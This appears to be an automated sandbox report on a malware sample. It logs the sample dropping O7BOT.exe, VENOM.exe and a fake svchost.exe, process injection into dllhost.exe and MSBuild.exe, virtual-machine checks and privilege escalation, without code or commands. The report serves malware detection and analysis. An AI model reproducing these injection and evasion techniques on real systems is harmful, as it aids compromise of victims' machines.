File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\Exception\TypeId C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 C:\Windows\system32\svchost.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3116 set thread context of 3240 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 1860 set thread context of 2200 N/A C:\Users\Admin\AppData\Roaming\Exception\TypeId.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\VENOM.exe

Checks SCSI registry key(s)

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs C:\Windows\system32\wbem\wmiprvse.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\system32\wbem\wmiprvse.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier C:\Windows\system32\wbem\wmiprvse.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\O7BOT.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier C:\Users\Admin\AppData\Local\Temp\O7BOT.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier C:\Windows\system32\wbem\wmiprvse.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715325169" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\O7BOT.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\dllhost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\system32\svchost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4948 wrote to memory of 2248 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\O7BOT.exe
PID 4948 wrote to memory of 2248 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\O7BOT.exe
PID 4948 wrote to memory of 1524 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 4948 wrote to memory of 1524 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 4948 wrote to memory of 2108 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\VENOM.exe
PID 4948 wrote to memory of 2108 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\VENOM.exe
PID 4948 wrote to memory of 2108 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\VENOM.exe
PID 4948 wrote to memory of 3336 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4948 wrote to memory of 3336 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4948 wrote to memory of 3336 N/A C:\Users\Admin\AppData\Local\Temp\9c0f25deda5fd180238008b7b97fab10_NeikiAnalytics.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2108 wrote to memory of 3972 N/A C:\Users\Admin\AppData\Local\Temp\VENOM.exe C:\Users\Admin\AppData\Roaming\Install.exe
PID 2108 wrote to memory of 3972 N/A C:\Users\Admin\AppData\Local\Temp\VENOM.exe C:\Users\Admin\AppData\Roaming\Install.exe
PID 2108 wrote to memory of 3972 N/A C:\Users\Admin\AppData\Local\Temp\VENOM.exe C:\Users\Admin\AppData\Roaming\Install.exe
PID 3116 wrote to memory of 3240 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 3116 wrote to memory of 3240 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 3116 wrote to memory of 3240 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 3116 wrote to memory of 3240 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
PID 3116 wrote to memory of 3240 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\System32\dllhost.exe
